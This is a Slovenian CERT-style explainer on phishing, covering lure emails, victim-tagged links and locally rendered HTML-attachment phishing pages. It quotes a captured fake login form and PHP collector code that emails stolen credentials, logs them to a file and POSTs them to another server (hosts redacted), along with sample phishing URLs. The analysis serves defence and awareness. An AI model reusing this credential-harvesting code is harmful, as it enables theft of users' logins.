Phishing je omrežni napad, katerega cilj je pridobitev različnih osebnih podatkov. V večini primerov gre za krajo uporabniških imen in gesel ter podatkov o kreditni kartici. Nekatere organizacije med phishing uvrščajo tudi druge vrste napadov, npr. elektronsko sporočilo z okuženo priponko ali vabe v SMS klube, na SI-CERT in večini drugih sorodnih organizacij pa je kategorija phishing incidentov omejena zgolj na neposreden poskus kraje osebnih podatkov, ki se v največ primerih začne preko elektronske pošte, občasno pa tudi preko SMS sporočil ali drugih zasebnih sporočil.
Phishing sporočilo prejemnika nagovarja h kliku na povezavo v sporočilu, običajno pod krinko nekega nepredvidenega dogodka, ki zahteva hitro ukrepanje. Povezava vodi na lažno spletno stran, ki zahteva vpis up. imena, gesla in drugih osebnih podatkov. Sporočilo običajno vsebuje grafične elemente in podobo ciljane storitve, npr. spletne pošte, Paypala, spletne banke ipd.
Povezava v sporočilu lahko vsebuje podatek o el. naslovu prejemnika. Običajno je ta podan kar neposredno kot parameter v naslovu, lahko pa je tudi zakodiran, npr. v base64 zakodiranem nizu, ali pa URL naslov vsebuje poseben identifikator, preko katerega napadalci prepoznajo posameznega uporabnika. Primeri:
https://wrtconstu4y3edg8sgcjsgyg.web.app/#test@cert.si http://64644.laurterm.ro/#dGVzdEBjZXJ0LnNpCg== https://online.post.si/tracking/N98646145/
Na ta način lahko lažna spletna stran predizpolne podatek o elektronskem naslovu, prav tako pa lahko izgled strani prilagodi glede na to, iz kje prihaja žrtev. Primer spodaj prikazuje lažno spletno stran, ki je v polju za vpis up. imena in gesla predizpolnila podatek o el. naslovu, za ozadje naložila vsebino iz spletne strani pod domeno iz el. naslova:
Phishing v html priponkah
Phishing spletne strani se običajno nahajajo na zlorabljenih spletnih strežnikih, ali pa napadalci za gostovanje zlorabijo legitimne storitve, npr. spletne ankete, spletne pisarniške aplikacije, ponudnike zastonjskega gostovanja ipd. Take spletne strani se lahko precej hitro uvrsti na sezname lažnih strani (t.i. blackliste), ki jih uporabljajo spletni brskalniki, poteg tega se večina ponudnikov storitev zaveda problema in lažne strani po ustaljenih postopkih precej hitro odstranijo. S temi ukrepi pa se tudi v celoti ustavi nek phishing napad. Kaj pa, če se phishing stran nahaja zgolj na računalniku prejemnika?
Če phishing sporočilo vsebuje phishing spletno stran v obliki priloženega HTML dokumenta, se lažna stran po odprtju priponke zgenerira lokalno v brskalniku uporabnika. Take strani ni možno blokirati preko seznama lažnih strani:
HTML datoteka vsebuje celoten CSS, javasctipt kodo (npr. za preverjanje vpisanih podatkov) ter slikovne v obliki “data:image” elementov. Podatki, vpisani v obrazec, se preko POST zahtevka pošljejo na PHP skripto na oddaljenem spletnem strežniku.
<div class="login" >
<form action="https://[redacted].si/faccy/excell.php" method="post">
<div>
<input type="email" id="email" name="email" placeholder="" value="aaa-podpora@arnes.si" />
<div class="requirements">
Must be a valid email address.
</div>
</div>
<div>
<input type="password" id="password" name="password" required placeholder=" " />
<label for="password">Password</label>
<div class="requirements">
Your password must be at least 6 characters as well as contain at least one uppercase, one lowercase, and one number.
</div>
</div>
<input type="submit" name="next" id="next" value="View Document" />
</form>
</div>
PHP koda na oddaljenem spletnem strežniku, ki sprejme podatke preko POST zahtevka, vsebuje 3 module, ki jih napadalci izbirno omogočijo: za pošiljanje podatkov na določen el. naslov, za zapis podatkov v datoteko, ter za pošiljanje podatkov na neko tretjo PHP skripto:
$subj = "EXCEL - $country - $email";
$headers .= "From: 505<$sender>\n";
$headers .= "X-Priority: 1\n"; //1 Urgent Message, 3 Normal
$headers .= "Content-Type:text/html; charset=\"iso-8859-1\"\n";
$over = 'http://mail.$emailID';
$msg = "<HTML><BODY>
<TABLE>
<tr><td>____fundz-444-Logs____</td></tr>
<tr><td>ID: >$email<<td/></tr>
<tr><td>Access: >$password<</td></tr>
<tr><td>IP: $country | <a href='http://whoer.net/check?host=$ip' target='_blank'>$ip</a> </td></tr>
<tr><td>>Anonymous Cyber Team<</td></tr>
</BODY>
</HTML>";
...
$r = on($dataset);
$handler=fopen('results.html','a');
fwrite($handler,$msg."================================\n");
fclose($handler);
...
$opts = array('http' =>
array(
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => $data,
'timeout' => 60
)
);
$context = stream_context_create($opts);
$result = file_get_contents('http://www.[redacted].com/images/icons/1/index.php', false, $context);
return $result;
PHP skripta za sprejemanje vpisanih podatkov običajno vsebujejo tudi kodo, ki vrne neko napako, ter na koncu preusmeri na določeno spletno stran (npr. spletno stran napadene storitve). V bolj sofisticiranih primerih lahko vrne tudi lažno HTTP 404 Not Found napako, npr. če gre za HTTP zahtevek, ki odstopa od pričakovanega, ali če se IP naslov klienta ne nahaja v napadeni državi (geolokacijsko blokiranje). Na ta način dobi zunanji opazovalec lažen občutek, da je bila skripta za krajo podatkov že odstranjena iz strežnika, čeprav je dejansko še vedno aktivna.
echo '<script language="javascript">';
echo 'alert(" Incorrect Login details Try again ")';
echo '</script>';
echo "<script>history.back();</script>";